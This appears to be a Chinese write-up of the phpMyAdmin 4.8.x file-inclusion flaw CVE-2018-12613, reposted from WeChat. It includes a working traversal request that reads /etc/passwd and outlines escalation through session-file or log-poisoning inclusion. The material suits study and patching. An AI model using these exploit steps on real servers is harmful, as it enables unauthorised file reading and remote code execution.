前言
我在index.php
PMA 4.8.0~4.8.1中发现了一个文件包含漏洞,它被分配了CVE-2018-12613。它是由脆弱路径检查功能中的验证旁路导致的Core::checkPageValidity
。此漏洞使经过身份验证的远程攻击者能够在服务器上执行任意PHP代码。
漏洞分析
在index.php
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }// ...
这个include
过去常常被if
声明中的条件所保护,但在4.8.0版本中,最后一个检查被改为重用现有的函数,Core::checkPageValidity
我认为这个函数是用来检查URL路径的。因此,我们可以利用URL功能来达到任意文件包含。功能如下:
public static function checkPageValidity(&$page, array $whitelist = []){ // ... $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); // $whitelist == array('db_datadict.php', 'sql.php', ...) if (in_array($_page, $whitelist)) { return true; } // ... return false; }
函数?
从$page
后面的所有内容(后面的 所有内容 ?
都是查询字符串,它不是URL 路径的一部分)中检查它是否在白名单中。白名单是一个列表:'db_datadict.php', 'sql.php', ...
。
Attack
现在,由于我们可以完全控制$page
,直接来自$_REQUEST['target']
,我们可以将其设置为:
$page = 'sql.php?/../../../etc/passwd'
该功能然后执行其检查:
1、剥去一切后 ?,分配'sql.php'给$_page
2、检查$_page,即'sql.php',在白名单中?是
3、通过检查后,回到index.php:
include $_REQUEST['target'];
完整的exp:
GET /index.php?target=sql.php%3f/../../etc/passwd
tips:
1、%3f 将被解码并成为 ?
2、Core::checkPageValidity剥离所有内容 ? 并sql.php在白名单内找到:检查被绕过!
2、index.php运行include 'sql.php?/../../etc/passwd',PHP的魔术来转换路径 ../etc/passwd,而不检查目录是否sql.php?存在。最后,它包含../etc/passwd成功。
写exp
要写这个漏洞,你可以枚举文件路径,如:
/etc/passwd ../../etc/passwd ../windows/win.ini ../../windows/win.ini
一旦你找到了..你需要预先设置的数量 ,你可以将你的php有效载荷注入到访问日志中,或者运行一个查询SELECT ‘<?php phpinfo();?>',sql.php并包含你自己的会话文件(例如/var/lib/php5/sess_<PHPSESSID>),它包含你的SQL查询,以执行任意PHP代码。
参考
https://www.phpmyadmin.net/security/PMASA-2018-4/
https://www.securityfocus.com/bid/104532
https://nvd.nist.gov/vuln/detail/CVE-2018-12613
本文始发于微信公众号(逢人斗智斗勇):【漏洞预警】PHPMyAdmin 4.8.0〜4.8.1远程执行代码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论